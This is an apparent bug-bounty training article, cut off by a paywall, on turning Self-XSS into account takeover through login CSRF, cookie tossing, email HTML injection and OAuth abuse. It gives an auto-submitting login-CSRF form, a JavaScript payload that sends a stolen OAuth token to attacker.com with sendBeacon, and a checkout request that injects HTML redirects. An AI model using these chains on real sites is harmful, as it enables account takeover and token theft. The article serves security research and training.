Advanced levelPremium

XSS escalation — from Self-XSS to Account Takeover with real chains

How to turn a seemingly useless Self-XSS into a full takeover: clickjacking, login-CSRF + Self-XSS, cookie tossing, postMessage hijack, hash injection, OAuth flow abuse.

Gorka El BochiMay 11, 202616 min

Quick answer

Self-XSS is still "Won't Fix" in many programs because "the user attacks themselves." But a Self-XSS combined with Login CSRF + Cookie Tossing + postMessage hijack or email HTML injection becomes an ATO. The rule: never dismiss an XSS because the initial vector requires user action — look for the channel that breaks the "self" boundary.


The Self-XSS misunderstanding

A classic Self-XSS lives in a field that only the user themselves can modify and read (settings, internal preferences, a query string only accessible after login). Triagers close it with three typical phrases:

  • "Requires victim to paste payload in their own session."
  • "No cross-user impact."
  • "Self-attack — informational."

The mistake is to assume the attacker can't force the victim into a session where the payload executes. There are six paths:

PathMechanism
Login CSRFThe attacker authenticates the victim into the attacker's account, where the payload is already armed
Cookie tossingSet-Cookie with path=/route from a subdomain → overrides the legitimate session
Email HTML injectionUser data reflected in a transactional email → click → render with the payload
postMessage hijackA trusted iframe sends a malicious message → the handler uses innerHTML/eval
Hash/PRNG predictGuessing callback IDs or tokens generated with Math.random()
OAuth flow abuseManipulated redirect/state → the token lands in the attacker's session

Chain 1 — Login CSRF + Self-XSS

The most effective and well-accepted by serious triagers.

Setup

  1. The attacker creates an attacker@evil.com account and saves the Self-XSS payload in the vulnerable field (name, bio, avatar URL, search history).
  2. The attacker prepares a page that forces the victim to log into the attacker's account (Login CSRF):
html
<form id="loginForm" action="https://target.com/login" method="POST">
  <input name="email" value="attacker@evil.com">
  <input name="password" value="ATTACKER_PASS">
</form>
<script>document.getElementById('loginForm').submit();</script>
  1. After the auto-submit, the victim's browser has an active session in the attacker's account. Any subsequent visit to target.com/settings executes the Self-XSS — but now with the victim's cookies.

Why the switch to the real session works

The final payload (inside the Self-XSS) doesn't operate with the attacker's cookies: it uses fetch('/me/logout') + fetch('/me/login-with-token?token=VICTIM_REMEMBER_TOKEN') if it finds it in localStorage, or launches an OAuth implicit grant that returns the token to a controlled endpoint.

javascript
// Dentro del Self-XSS en sesión del atacante
fetch('/api/v1/me/oauth/issue?client_id=attacker_app', { credentials: 'include' })
  .then(r => r.json())
  .then(d => navigator.sendBeacon('https://attacker.com/c', d.access_token));

Chain 2 — Email HTML injection + Self-XSS

A pattern documented in Ayoub Nouri's report (Visa). It works when a checkout or registration field is reflected without encoding in the transactional email.

Full setup

http
POST /v1/order/checkout HTTP/1.1
Host: api.target.com
Content-Type: application/json

{
  "billing": {
    "firstName": "<a href='https://attacker.com/poc.html'>Verifica tu cuenta</a>",
    "lastName": "<img src=x onerror='location=\"https://attacker.com/p\"'>",
    "email": "victim@target.com"
  },
  "paymentMethodNonce": "INVALID_NONCE_TO_TRIGGER_FAIL"
}

Key trick: the invalid nonce forces the order to fail, but the transactional email ("Your order was cancelled") is sent anyway with the billing data rendered as HTML.

If the page has reCAPTCHA, the Google-Recaptcha-CSRF-POC tool solves it automatically via a proxy and opens the final URL.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Xss Self Ato

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy